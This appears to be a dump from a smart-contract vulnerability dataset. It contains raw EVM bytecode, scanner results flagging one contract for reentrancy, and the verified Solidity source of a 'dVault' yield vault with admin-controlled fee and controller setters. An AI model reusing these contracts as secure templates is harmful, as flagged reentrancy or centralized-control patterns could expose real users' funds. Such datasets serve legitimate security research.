1206573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112288385611aa0565b90508381101561109a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045a565b600f805460ff60a81b1916600160a81b17905580156112a0576112a03061dead83610c74565b50600f805460ff60a81b19169055565b610fa4838383611320565b60008060006112c8611417565b90925090506112d782826112de565b9250505090565b600061109a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611457565b60008060008060008061133287611485565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136490876114e2565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611393908661121b565b6001600160a01b0389166000908152600260205260409020556113b581611524565b6113bf848361156e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140491815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e8000061143282826112de565b82101561144e57505060075492678ac7230489e8000092509050565b90939092509050565b600081836114785760405162461bcd60e51b815260040161045a91906116b6565b506000610fda84866119f6565b60008060008060008060008060006114a28a600954600a54611592565b92509250925060006114b26112bb565b905060008060006114c58e8787876115e7565b919e509c509a509598509396509194505050505091939550919395565b600061109a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fa9565b600061152e6112bb565b9050600061153c8383611637565b30600090815260026020526040902054909150611559908261121b565b30600090815260026020526040902055505050565b60075461157b90836114e2565b60075560085461158b908261121b565b6008555050565b60008080806115ac60646115a68989611637565b906112de565b905060006115bf60646115a68a89611637565b905060006115d7826115d18b866114e2565b906114e2565b9992985090965090945050505050565b60008080806115f68886611637565b905060006116048887611637565b905060006116128888611637565b90506000611624826115d186866114e2565b939b939a50919850919650505050505050565b6000826116465750600061042a565b60006116528385611ab8565b90508261165f85836119f6565b1461109a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045a565b600060208083528351808285015260005b818110156116e3578581018301518582016040015282016116c7565b818111156116f5576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461047957600080fd5b803561172b8161170b565b919050565b6000806040838503121561174357600080fd5b823561174e8161170b565b946020939093013593505050565b60006020828403121561176e57600080fd5b5035919050565b60008060006060848603121561178a57600080fd5b83356117958161170b565b925060208401356117a58161170b565b929592945050506040919091013590565b6000602082840312156117c857600080fd5b813561109a8161170b565b801515811461047957600080fd5b6000602082840312156117f357600080fd5b813561109a816117d3565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561182757600080fd5b823567ffffffffffffffff8082111561183f57600080fd5b818501915085601f83011261185357600080fd5b813581811115611865576118656117fe565b8060051b604051601f19603f8301168101818110858211171561188a5761188a6117fe565b6040529182528482019250838101850191888311156118a857600080fd5b938501935b828510156118cd576118be85611720565b845293850193928501926118ad565b98975050505050505050565b600080604083850312156118ec57600080fd5b82356118f78161170b565b915060208301356119078161170b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561195957600080fd5b815161109a8161170b565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119a4576119a461197a565b5060010190565b6000806000606084860312156119c057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119eb57600080fd5b815161109a816117d3565b600082611a1357634e487b7160e01b600052601260045260246000fd5b500490565b600082821015611a2a57611a2a61197a565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a7f5784516001600160a01b031683529383019391830191600101611a5a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ab357611ab361197a565b500190565b6000816000190483118215151615611ad257611ad261197a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220013f52a168bc5bc2640b07b06786fcbab3cab36059b0c448abf2595ef536380664736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,869
0x307166843283589Ca9b3E31e932018a2BA6776Bd
/** *Submitted for verification at Etherscan.io on 2021-03-05 */ // SPDX-License-Identifier: MIT pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping(address=>uint256) private _mintLastBlockHeight; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(block.number>_mintLastBlockHeight[sender],"ERC20: sender account locked"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); _mintLastBlockHeight[account] = block.number; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IPlayerBook { function bindRefer( address from,string calldata affCode ) external returns (bool); function hasRefer(address from) external returns(bool); } interface Controller { function withdraw(address, uint) external; function balanceOf(address) external view returns (uint); function earn(address, uint) external; } contract dVault is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint public depositWithdrawInterval = 60; uint public min = 9500; uint public constant max = 10000; mapping(address => bool) public approved; mapping(address => uint256) userDepoistTime; address public feeAddress; uint public fee1 = 100; //fee within 24 hours uint public fee2 = 3; //fee within 1 week uint public fee3 = 1; //fee without 1 week uint public feeMax = 1000; uint256 public totalDepositCap = uint256(-1); address public playerBook; address public governance; address public controller; address public timelock; modifier onlyRestrictContractCall() { address s = msg.sender; require(approved[msg.sender] || msg.sender == tx.origin, "Sorry we do not accept contract"); _; } constructor (address _token,address _playerBook,address _feeAddress) public ERC20Detailed( string(abi.encodePacked("dms:vault: ", ERC20Detailed(_token).name())), string(abi.encodePacked("d", ERC20Detailed(_token).symbol())), ERC20Detailed(_token).decimals() ) { token = IERC20(_token); governance = tx.origin; controller = 0x5190eB70E012FF286C7b1163933b2468Dd2BFa49; feeAddress = _feeAddress; timelock = tx.origin; playerBook = _playerBook; } function balance() public view returns (uint) { return token.balanceOf(address(this)) .add(Controller(controller).balanceOf(address(token))); } function setMin(uint _min) external { require(msg.sender == governance, "!governance"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) public { require(msg.sender == timelock, "!timelock"); controller = _controller; } function setTotalDepositCap(uint256 _totalDepositCap) public { require(msg.sender == governance, "!governance"); totalDepositCap = _totalDepositCap; } // Custom logic in here for how much the vault allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { require( msg.sender == governance,"!governance"); uint _bal = available(); token.safeTransfer(controller, _bal); Controller(controller).earn(address(token), _bal); } function depositAll(string calldata inviter) external { deposit(token.balanceOf(msg.sender),inviter); } function deposit(uint _amount ,string memory inviter) public onlyRestrictContractCall { if (bytes(inviter).length != 0){ if (!IPlayerBook(playerBook).hasRefer(msg.sender)) { IPlayerBook(playerBook).bindRefer(msg.sender, inviter); } } require(_amount > 0, "Cannot deposit 0"); uint _pool = balance(); uint _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens require(_amount <= totalDepositCap, ">totalDepositCap"); uint shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); userDepoistTime[msg.sender] = now; } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint _shares) public onlyRestrictContractCall { require(_shares > 0, "Cannot withdraw 0"); require((now - userDepoistTime[msg.sender])>depositWithdrawInterval,"Deposit and withdraw must be 60 seconds apart!"); uint r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint b = token.balanceOf(address(this)); if (b < r) { uint _withdraw = r.sub(b); Controller(controller).withdraw(address(token), _withdraw); uint _after = token.balanceOf(address(this)); uint _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } uint feeRatio = getFeeRatio(); if(feeRatio>0){ uint fee = r.mul(feeRatio).div(feeMax); r = r.sub(fee); token.safeTransfer(feeAddress,fee); } token.safeTransfer(msg.sender, r); } function getFeeRatio() internal view returns(uint) { uint256 t = now - userDepoistTime[msg.sender]; if(t > 604800) {//7*24*60*60 return fee3; } if(t>86400) {//24*60*60 return fee2; } return fee1; } function getPricePerFullShare() public view returns (uint) { if (totalSupply()==0) { return 0; } return balance().mul(1e18).div(totalSupply()); } function setFeeRatio(uint[3] memory fees) public { require(msg.sender == timelock, "!timelock"); require(fees[0]<feeMax&&fees[1]<feeMax&&fees[2]<feeMax,"The fee is too high"); fee1 = fees[0]; fee2 = fees[1]; fee3 = fees[2]; } function setFeeAddress(address fadd) public { require(msg.sender == timelock, "!timelock"); feeAddress = fadd; } function setTimeLock(address _timelock) public { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function approveContractAccess(address account) external { require(msg.sender == governance, "!governance"); approved[account] = true; } function revokeContractAccess(address account) external { require(msg.sender == governance, "!governance"); approved[account] = false; } function SetPlayerBook(address _playerbook) public { require(msg.sender == governance, "!governance"); playerBook = _playerbook; } }
0x608060405234801561001057600080fd5b50600436106102745760003560e01c806385d30fc811610151578063d33219b4116100c3578063ebbf5c1711610087578063ebbf5c1714610746578063f1215d2514610763578063f77c479114610810578063f889794514610818578063fc0c546a14610820578063ffbe9f1e1461082857610274565b8063d33219b4146106da578063d389800f146106e2578063d8b964e6146106ea578063dd62ed3e14610710578063dd8d83261461073e57610274565b8063a179390a11610115578063a179390a14610626578063a457c2d71461064c578063a9059cbb14610678578063ab033ea9146106a4578063b69ef8a8146106ca578063c6098256146106d257610274565b806385d30fc8146105a45780638705fcd4146105ac578063891682d2146105d257806392eefe9b146105f857806395d89b411461061e57610274565b806345dc3dd8116101ea5780636ac5db19116101ae5780636ac5db191461051a5780636c3618651461052257806370a082311461054857806377c7b8fc1461056e5780637c61e86514610576578063853828b61461059c57610274565b806345dc3dd8146104935780634639e19a146104b057806348a0d754146105025780635aa6e6751461050a5780635db88e851461051257610274565b80632fa241fc1161023c5780632fa241fc146103a557806330382f16146103c9578063313ce56714610439578063395093511461045757806339f73a4814610483578063412753581461048b57610274565b806306fdde0314610279578063095ea7b3146102f657806318160ddd1461033657806323b872dd146103505780632e1a7d4d14610386575b600080fd5b610281610830565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102bb5781810151838201526020016102a3565b50505050905090810190601f1680156102e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103226004803603604081101561030c57600080fd5b506001600160a01b0381351690602001356108c7565b604080519115158252519081900360200190f35b61033e6108e5565b60408051918252519081900360200190f35b6103226004803603606081101561036657600080fd5b506001600160a01b038135811691602081013590911690604001356108eb565b6103a36004803603602081101561039c57600080fd5b5035610978565b005b6103ad610d0c565b604080516001600160a01b039092168252519081900360200190f35b6103a3600480360360208110156103df57600080fd5b8101906020810181356401000000008111156103fa57600080fd5b82018360208201111561040c57600080fd5b8035906020019184600183028401116401000000008311171561042e57600080fd5b509092509050610d1b565b610441610dd6565b6040805160ff9092168252519081900360200190f35b6103226004803603604081101561046d57600080fd5b506001600160a01b038135169060200135610ddf565b61033e610e33565b6103ad610e39565b6103a3600480360360208110156104a957600080fd5b5035610e48565b6103a3600480360360608110156104c657600080fd5b8101908080606001906003806020026040519081016040528092919082600360200280828437600092019190915250919450610e9a9350505050565b61033e610f6a565b6103ad611020565b61033e61102f565b61033e611035565b6103a36004803603602081101561053857600080fd5b50356001600160a01b031661103b565b61033e6004803603602081101561055e57600080fd5b50356001600160a01b03166110ac565b61033e6110c7565b6103a36004803603602081101561058c57600080fd5b50356001600160a01b03166110fc565b6103a361116a565b61033e61117d565b6103a3600480360360208110156105c257600080fd5b50356001600160a01b0316611183565b6103a3600480360360208110156105e857600080fd5b50356001600160a01b03166111f0565b6103a36004803603602081101561060e57600080fd5b50356001600160a01b031661125d565b6102816112ca565b6103a36004803603602081101561063c57600080fd5b50356001600160a01b031661132b565b6103226004803603604081101561066257600080fd5b506001600160a01b03813516906020013561139a565b6103226004803603604081101561068e57600080fd5b506001600160a01b038135169060200135611408565b6103a3600480360360208110156106ba57600080fd5b50356001600160a01b031661141c565b61033e61148b565b61033e611597565b6103ad61159d565b6103a36115ac565b6103226004803603602081101561070057600080fd5b50356001600160a01b031661169f565b61033e6004803603604081101561072657600080fd5b506001600160a01b03813581169160200135166116b4565b61033e6116df565b6103a36004803603602081101561075c57600080fd5b50356116e5565b6103a36004803603604081101561077957600080fd5b8135919081019060408101602082013564010000000081111561079b57600080fd5b8201836020820111156107ad57600080fd5b803590602001918460018302840111640100000000831117156107cf57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611737945050505050565b6103ad611b32565b61033e611b41565b6103ad611b47565b61033e611b5b565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108bc5780601f10610891576101008083540402835291602001916108bc565b820191906000526020600020905b81548152906001019060200180831161089f57829003601f168201915b505050505090505b90565b60006108db6108d4611b61565b8484611b65565b5060015b92915050565b60035490565b60006108f8848484611c51565b61096e84610904611b61565b610969856040518060600160405280602881526020016125e7602891396001600160a01b038a16600090815260026020526040812090610942611b61565b6001600160a01b03168152602081019190915260400160002054919063ffffffff611e1916565b611b65565b5060019392505050565b3360008181526009602052604090205460ff168061099557503332145b6109e6576040805162461bcd60e51b815260206004820152601f60248201527f536f72727920776520646f206e6f742061636365707420636f6e747261637400604482015290519081900360640190fd5b60008211610a2f576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b600754336000908152600a6020526040902054420311610a805760405162461bcd60e51b815260040180806020018281038252602e815260200180612679602e913960400191505060405180910390fd5b6000610ab1610a8d6108e5565b610aa585610a9961148b565b9063ffffffff611eb016565b9063ffffffff611f1016565b9050610abd3384611f52565b600654604080516370a0823160e01b8152306004820152905160009261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610b0d57600080fd5b505afa158015610b21573d6000803e3d6000fd5b505050506040513d6020811015610b3757600080fd5b5051905081811015610c7e576000610b55838363ffffffff61204e16565b6013546006546040805163f3fef3a360e01b81526001600160a01b036101009093048316600482015260248101859052905193945091169163f3fef3a39160448082019260009290919082900301818387803b158015610bb457600080fd5b505af1158015610bc8573d6000803e3d6000fd5b5050600654604080516370a0823160e01b81523060048201529051600094506101009092046001600160a01b031692506370a08231916024808301926020929190829003018186803b158015610c1d57600080fd5b505afa158015610c31573d6000803e3d6000fd5b505050506040513d6020811015610c4757600080fd5b505190506000610c5d828563ffffffff61204e16565b905082811015610c7a57610c77848263ffffffff61209016565b94505b5050505b6000610c886120ea565b90508015610ce957600f54600090610caa90610aa5868563ffffffff611eb016565b9050610cbc848263ffffffff61204e16565b600b54600654919550610ce79161010090046001600160a01b0390811691168363ffffffff61212e16565b505b600654610d059061010090046001600160a01b0316338561212e565b5050505050565b6011546001600160a01b031681565b600654604080516370a0823160e01b81523360048201529051610dd29261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610d6c57600080fd5b505afa158015610d80573d6000803e3d6000fd5b505050506040513d6020811015610d9657600080fd5b5051604080516020601f860181900481028201810190925284815290859085908190840183828082843760009201919091525061173792505050565b5050565b60065460ff1690565b60006108db610dec611b61565b846109698560026000610dfd611b61565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61209016565b600d5481565b600b546001600160a01b031681565b6012546001600160a01b03163314610e95576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600855565b6014546001600160a01b03163314610ee5576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600f548151108015610efc5750600f546020820151105b8015610f0d5750600f546040820151105b610f54576040805162461bcd60e51b81526020600482015260136024820152720a8d0ca40cccaca40d2e640e8dede40d0d2ced606b1b604482015290519081900360640190fd5b8051600c556020810151600d5560400151600e55565b600061101b612710610aa5600854600660019054906101000a90046001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610fe357600080fd5b505afa158015610ff7573d6000803e3d6000fd5b505050506040513d602081101561100d57600080fd5b50519063ffffffff611eb016565b905090565b6012546001600160a01b031681565b60105481565b61271081565b6012546001600160a01b03163314611088576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6001600160a01b031660009081526020819052604090205490565b60006110d16108e5565b6110dd575060006108c4565b61101b6110e86108e5565b610aa5670de0b6b3a7640000610a9961148b565b6012546001600160a01b03163314611149576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b61117b611176336110ac565b610978565b565b600e5481565b6014546001600160a01b031633146111ce576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316331461123b576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b031633146112a8576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108bc5780601f10610891576101008083540402835291602001916108bc565b6012546001600160a01b03163314611378576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b601180546001600160a01b0319166001600160a01b0392909216919091179055565b60006108db6113a7611b61565b84610969856040518060600160405280602581526020016126d160259139600260006113d1611b61565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff611e1916565b60006108db611415611b61565b8484611c51565b6012546001600160a01b03163314611469576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b601280546001600160a01b0319166001600160a01b0392909216919091179055565b601354600654604080516370a0823160e01b81526001600160a01b0361010090930483166004820152905160009361101b9316916370a08231916024808301926020929190829003018186803b1580156114e457600080fd5b505afa1580156114f8573d6000803e3d6000fd5b505050506040513d602081101561150e57600080fd5b5051600654604080516370a0823160e01b815230600482015290516101009092046001600160a01b0316916370a0823191602480820192602092909190829003018186803b15801561155f57600080fd5b505afa158015611573573d6000803e3d6000fd5b505050506040513d602081101561158957600080fd5b50519063ffffffff61209016565b600c5481565b6014546001600160a01b031681565b6012546001600160a01b031633146115f9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6000611603610f6a565b60135460065491925061162e9161010090046001600160a01b0390811691168363ffffffff61212e16565b6013546006546040805163b02bf4b960e01b81526101009092046001600160a01b03908116600484015260248301859052905192169163b02bf4b99160448082019260009290919082900301818387803b15801561168b57600080fd5b505af1158015610d05573d6000803e3d6000fd5b60096020526000908152604090205460ff1681565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60075481565b6012546001600160a01b03163314611732576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b601055565b3360008181526009602052604090205460ff168061175457503332145b6117a5576040805162461bcd60e51b815260206004820152601f60248201527f536f72727920776520646f206e6f742061636365707420636f6e747261637400604482015290519081900360640190fd5b81511561190c576011546040805163a526a92b60e01b815233600482015290516001600160a01b039092169163a526a92b916024808201926020929091908290030181600087803b1580156117f957600080fd5b505af115801561180d573d6000803e3d6000fd5b505050506040513d602081101561182357600080fd5b505161190c576011546040805163d66d140760e01b81523360048201818152602483019384528651604484015286516001600160a01b039095169463d66d1407949293889391606490910190602085019080838360005b8381101561189257818101518382015260200161187a565b50505050905090810190601f1680156118bf5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b1580156118df57600080fd5b505af11580156118f3573d6000803e3d6000fd5b505050506040513d602081101561190957600080fd5b50505b60008311611954576040805162461bcd60e51b815260206004820152601060248201526f043616e6e6f74206465706f73697420360841b604482015290519081900360640190fd5b600061195e61148b565b600654604080516370a0823160e01b815230600482015290519293506000926101009092046001600160a01b0316916370a0823191602480820192602092909190829003018186803b1580156119b357600080fd5b505afa1580156119c7573d6000803e3d6000fd5b505050506040513d60208110156119dd57600080fd5b50516006549091506119ff9061010090046001600160a01b0316333088612185565b600654604080516370a0823160e01b8152306004820152905160009261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b158015611a4f57600080fd5b505afa158015611a63573d6000803e3d6000fd5b505050506040513d6020811015611a7957600080fd5b50519050611a8d818363ffffffff61204e16565b9550601054861115611ad9576040805162461bcd60e51b815260206004820152601060248201526f03e746f74616c4465706f7369744361760841b604482015290519081900360640190fd5b6000611ae36108e5565b611aee575085611b0d565b611b0a84610aa5611afd6108e5565b8a9063ffffffff611eb016565b90505b611b1733826121e5565b5050336000908152600a602052604090204290555050505050565b6013546001600160a01b031681565b60085481565b60065461010090046001600160a01b031681565b600f5481565b3390565b6001600160a01b038316611baa5760405162461bcd60e51b81526004018080602001828103825260248152602001806126556024913960400191505060405180910390fd5b6001600160a01b038216611bef5760405162461bcd60e51b815260040180806020018281038252602281526020018061257e6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611c965760405162461bcd60e51b81526004018080602001828103825260258152602001806126306025913960400191505060405180910390fd5b6001600160a01b038216611cdb5760405162461bcd60e51b81526004018080602001828103825260238152602001806125396023913960400191505060405180910390fd5b6001600160a01b0383166000908152600160205260409020544311611d47576040805162461bcd60e51b815260206004820152601c60248201527f45524332303a2073656e646572206163636f756e74206c6f636b656400000000604482015290519081900360640190fd5b611d8a816040518060600160405280602681526020016125a0602691396001600160a01b038616600090815260208190526040902054919063ffffffff611e1916565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611dbf908263ffffffff61209016565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115611ea85760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e6d578181015183820152602001611e55565b50505050905090810190601f168015611e9a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082611ebf575060006108df565b82820282848281611ecc57fe5b0414611f095760405162461bcd60e51b81526004018080602001828103825260218152602001806125c66021913960400191505060405180910390fd5b9392505050565b6000611f0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122df565b6001600160a01b038216611f975760405162461bcd60e51b815260040180806020018281038252602181526020018061260f6021913960400191505060405180910390fd5b611fda8160405180606001604052806022815260200161255c